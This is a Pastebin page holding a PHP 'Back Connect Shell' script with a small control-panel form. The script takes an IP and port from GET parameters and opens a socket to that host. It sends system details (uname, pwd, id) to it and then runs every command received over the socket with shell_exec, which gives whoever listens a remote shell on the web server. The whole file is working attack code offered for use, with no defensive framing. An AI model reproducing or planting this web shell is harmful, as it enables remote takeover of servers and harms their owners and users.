Advertisement
parkdream1

back2.php

Mar 2nd, 2012
265
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.03 KB | None | 0 0
  1. <?php
  2.  
  3. /*********************
  4.  
  5. @@author : lionaneesh
  6. @@facebook : facebook.com/lionaneesh
  7.  
  8. ********************/
  9.  
  10.  
  11. ini_set('max_execution_time',0);
  12.  
  13. ?>
  14.  
  15. <html>
  16. <head>
  17.     <title>Back Connect Shell -- PHP</title>
  18. </head>
  19.  
  20. <body>
  21.  
  22. <h1>Welcome to Back Connect Control Panel </h1>
  23.  
  24. <p> Fill in the form Below to Start the Back Connect Service </p>
  25.  
  26. <?php
  27. if( isset($_GET['port']) &&
  28.     isset($_GET['ip']) &&
  29.     $_GET['port'] != "" &&
  30.     $_GET['ip'] != ""
  31.     )
  32.     {
  33.         echo "<p>The Program is now trying to connect!</p>";
  34.         $ip = $_GET['ip'];
  35.         $port=$_GET['port'];
  36.         $sockfd=fsockopen($ip , $port , $errno, $errstr );
  37.         if($errno != 0)
  38.         {
  39.             echo "<font color='red'><b>$errno</b> : $errstr</font>";
  40.         }
  41.         else if (!$sockfd)
  42.         {
  43.                $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  44.         }
  45.         else
  46.         {
  47.             fputs ($sockfd ,
  48.             "\n=================================================================\n
  49.            Back Connect in PHP\n
  50.            Coded by lionaneesh\n
  51.            @@author : lionaneesh
  52.            @@facebook : facebook.com/lionaneesh
  53.            @@Email : [email protected]
  54.            \n=================================================================");
  55.          $pwd = shell_exec("pwd");
  56.          $sysinfo = shell_exec("uname -a");
  57.          $id = shell_exec("id");
  58.          $dateAndTime = shell_exec("time /t & date /T");
  59.          $len = 1337;
  60.          fputs($sockfd ,$sysinfo . "\n" );
  61.          fputs($sockfd ,$pwd . "\n" );
  62.          fputs($sockfd ,$id ."\n\n" );
  63.          fputs($sockfd ,$dateAndTime."\n\n" );
  64.          while(!feof($sockfd))
  65.          {  
  66.             $cmdPrompt ="(Shell)[$]> ";
  67.             fputs ($sockfd , $cmdPrompt );
  68.             $command= fgets($sockfd, $len);
  69.             fputs($sockfd , "\n" . shell_exec($command) . "\n\n");
  70.          }
  71.          fclose($sockfd);
  72.         }
  73.     }
  74.     else
  75.     {
  76.     ?>
  77.     <table align="center" >
  78.          <form method="GET">
  79.          <td>
  80.             <table style="border-spacing: 6px;">
  81.                 <tr>
  82.                     <td>Port</td>
  83.                     <td>
  84.                         <input style="width: 200px;" name="port" value="31337" />
  85.                     </td>
  86.                 </tr>
  87.                 <tr>
  88.                     <td>IP </td>
  89.                     <td><input style="width: 100px;" name="ip" size='5' value="127.0.0.1"/>
  90.                 </tr>
  91.                 <tr>
  92.                 <td>
  93.                 <input style="width: 90px;" class="own" type="submit" value="Connect back :D!"/>
  94.                 </td>
  95.                 </tr>    
  96.                    
  97.             </table>
  98.          </td>
  99.          </form>
  100.     </tr>
  101.     </table>
  102.     <p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
  103. <?php
  104.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement